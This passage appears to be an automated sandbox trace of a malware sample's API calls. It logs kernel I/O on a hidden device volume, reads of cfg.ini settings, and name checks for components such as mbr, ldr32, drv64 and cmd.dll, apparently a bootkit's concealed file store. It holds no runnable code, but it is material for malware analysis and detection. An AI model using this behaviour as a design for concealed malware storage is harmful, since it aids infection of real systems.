ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.396] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d5b000 [0119.396] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.396] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.396] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.396] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.396] IdePortDispatch () returned 0x103 [0119.396] KeWaitForMutexObject () returned 0x0 [0119.397] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.397] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.397] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.397] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.397] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.397] IdePortDispatch () returned 0x103 [0119.397] KeWaitForMutexObject () returned 0x0 [0119.397] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.397] KeLeaveCriticalRegion () [0119.397] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.397] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.397] KeEnterCriticalRegion () [0119.397] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.397] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.397] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.397] KeLeaveCriticalRegion () [0119.397] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.397] KeEnterCriticalRegion () [0119.397] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.397] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.397] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdb840, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.398] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.398] KeLeaveCriticalRegion () [0119.398] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.398] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.398] KeEnterCriticalRegion () [0119.398] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.398] ExFreePoolWithTag (P=0xfffffa8003bcb5b0, Tag=0x0) [0119.398] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.398] KeLeaveCriticalRegion () [0119.398] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.398] ReleaseMutex (hMutex=0xf0) returned 1 [0119.398] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0119.398] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0119.398] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0119.398] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.398] KeEnterCriticalRegion () [0119.398] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.398] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.398] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.398] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.398] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.398] IdePortDispatch () returned 0x103 [0119.398] KeWaitForMutexObject () returned 0x0 [0119.398] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.398] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.398] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.398] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.398] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.398] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.398] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.398] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.398] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.398] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.398] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.398] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.398] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.398] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.398] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.398] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.398] KeLeaveCriticalRegion () [0119.398] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.399] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0119.399] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.399] KeEnterCriticalRegion () [0119.399] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.399] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.399] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.399] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.399] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.399] IdePortDispatch () returned 0x103 [0119.399] KeWaitForMutexObject () returned 0x0 [0119.399] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.399] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.399] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.399] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.399] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.399] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.399] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.399] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.399] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.399] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.399] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.399] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.399] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.399] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.399] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.399] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.399] KeLeaveCriticalRegion () [0119.399] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.399] ReleaseMutex (hMutex=0x100) returned 1 [0119.399] Sleep (dwMilliseconds=0x2bf20) [0119.405] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6a5d7410, dwHighDateTime=0x1d24fa4)) [0119.405] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0119.405] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.405] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.405] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.405] KeEnterCriticalRegion () [0119.405] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.405] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.405] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.405] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.405] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.406] IdePortDispatch () returned 0x103 [0119.406] KeWaitForMutexObject () returned 0x0 [0119.406] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.406] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.406] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.406] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.406] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.406] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcb5b0 [0119.406] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.406] KeLeaveCriticalRegion () [0119.406] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.406] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.406] KeEnterCriticalRegion () [0119.406] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.406] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.406] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.406] KeLeaveCriticalRegion () [0119.406] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.406] KeEnterCriticalRegion () [0119.406] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.406] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.406] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.406] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.406] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.406] IdePortDispatch () returned 0x103 [0119.406] KeWaitForMutexObject () returned 0x0 [0119.406] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.406] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.406] KeLeaveCriticalRegion () [0119.406] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.407] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.407] KeEnterCriticalRegion () [0119.407] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.407] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d5e000 [0119.407] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.407] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.407] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.407] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.407] IdePortDispatch () returned 0x103 [0119.407] KeWaitForMutexObject () returned 0x0 [0119.407] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.407] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.407] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.407] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.407] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.407] IdePortDispatch () returned 0x103 [0119.407] KeWaitForMutexObject () returned 0x0 [0119.407] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.407] KeLeaveCriticalRegion () [0119.407] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.408] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.408] KeEnterCriticalRegion () [0119.408] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.408] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.408] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.408] KeLeaveCriticalRegion () [0119.408] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.408] KeEnterCriticalRegion () [0119.408] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.408] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.408] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdb840, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.408] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.408] KeLeaveCriticalRegion () [0119.408] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.408] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.408] KeEnterCriticalRegion () [0119.408] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.408] ExFreePoolWithTag (P=0xfffffa8003bcb5b0, Tag=0x0) [0119.408] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.408] KeLeaveCriticalRegion () [0119.408] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.408] ReleaseMutex (hMutex=0xf0) returned 1 [0119.408] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.408] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.408] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.408] KeEnterCriticalRegion () [0119.408] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.408] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.408] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.408] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.408] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.408] IdePortDispatch () returned 0x103 [0119.408] KeWaitForMutexObject () returned 0x0 [0119.410] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.410] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.410] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.410] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.410] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.410] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039c84f0 [0119.410] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.410] KeLeaveCriticalRegion () [0119.410] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.410] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.410] KeEnterCriticalRegion () [0119.410] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.410] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.410] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.410] KeLeaveCriticalRegion () [0119.410] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.410] KeEnterCriticalRegion () [0119.410] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.410] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.410] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.410] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.410] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.410] IdePortDispatch () returned 0x103 [0119.410] KeWaitForMutexObject () returned 0x0 [0119.411] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.411] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.411] KeLeaveCriticalRegion () [0119.411] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.411] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.411] KeEnterCriticalRegion () [0119.411] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.411] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d5f000 [0119.411] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.411] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.411] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.411] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.411] IdePortDispatch () returned 0x103 [0119.411] KeWaitForMutexObject () returned 0x0 [0119.411] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.411] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.411] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.411] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.411] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.411] IdePortDispatch () returned 0x103 [0119.411] KeWaitForMutexObject () returned 0x0 [0119.411] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.411] KeLeaveCriticalRegion () [0119.411] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.412] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.412] KeEnterCriticalRegion () [0119.412] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.412] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.412] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.412] KeLeaveCriticalRegion () [0119.412] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.412] KeEnterCriticalRegion () [0119.412] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.412] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.412] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bafaa0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.412] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.412] KeLeaveCriticalRegion () [0119.412] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.412] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.412] KeEnterCriticalRegion () [0119.412] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.412] ExFreePoolWithTag (P=0xfffffa80039c84f0, Tag=0x0) [0119.412] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.412] KeLeaveCriticalRegion () [0119.412] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.412] ReleaseMutex (hMutex=0xf0) returned 1 [0119.412] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.412] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0119.412] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.412] KeEnterCriticalRegion () [0119.412] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.412] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.412] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.412] MmProbeAndLockPages 